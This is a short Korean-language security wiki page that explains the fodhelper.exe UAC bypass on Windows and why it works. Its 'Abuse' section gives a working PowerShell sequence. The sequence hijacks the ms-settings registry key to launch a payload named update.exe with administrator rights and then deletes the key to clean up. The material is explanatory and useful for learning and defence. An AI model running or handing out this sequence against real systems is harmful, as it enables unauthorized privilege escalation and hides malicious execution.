UAC Bypass

UAC(User Account Control)는 Windows에서 사용자 권한을 벗어나는 행위를 할 때, 관리자 권한으로 임시 승격할 수 있는 권한 상승 시스템입니다.

Abuse

# 레지스트리 키 생성
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force -ItemType Directory

# DelegateExecute 빈 값 추가
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force

# 관리자 권한 동작 입력
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "powershell.exe C:\Windows\Temp\update.exe"

# fodhelper.exe 실행
C:\windows\system32\fodhelper.exe

# 정리
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force

2025년 8월 기준으로 Windows 10 Pro에서는 fodhelper.exe를 통한 UAC Bypass를 실습하기 위해 바이러스 및 위협 방지를 완전히 종료해야 합니다.

Root Cause

시스템에서 관리자 권한이 요구되는 모든 동작마다 UAC가 요구되는 것은 아니며, 다음 3가지 조건 중에서 하나라도 만족하지 않는 상황에서 나타납니다.

  1. 실행 파일에서 <autoElevate>true</authElevate> 속성이 존재

  2. 신뢰할 수 있는 경로(C:\Windows\System32 등)에서의 실행 여부

  3. 유효한 전자 서명 여부

프로그램의 manifest 속성을 확인하는 도구인 CFF Explorer를 통해 속성 확인이 가능합니다.

C:\Windows\System32\fodhelper.exe

fodhelper.exe는 기능 추가 관리자(Features on Demand Helper)의 역할이며, 이 파일이 실행될 때는 반드시 ms-settings.exe를 실행합니다. 그리고 ms-settings.exe가 실행될 때 HKCU\Software\Classes\ms-settings\shell\open\command 키 값이 같이 실행됩니다.

결과적으로 공격자가 ms-settings 레지스트리 키 값에 악성 코드를 삽입하면 fodhelper.exe를 실행했을 때 관리자 권한으로 행위할 수 있습니다.

Microsoft는 UAC Bypass를 취약점으로 인정하지 않지만, 인터넷에 알려진 기법의 경우 Windows에서 패치합니다.

Demo

References

Last updated

Was this helpful?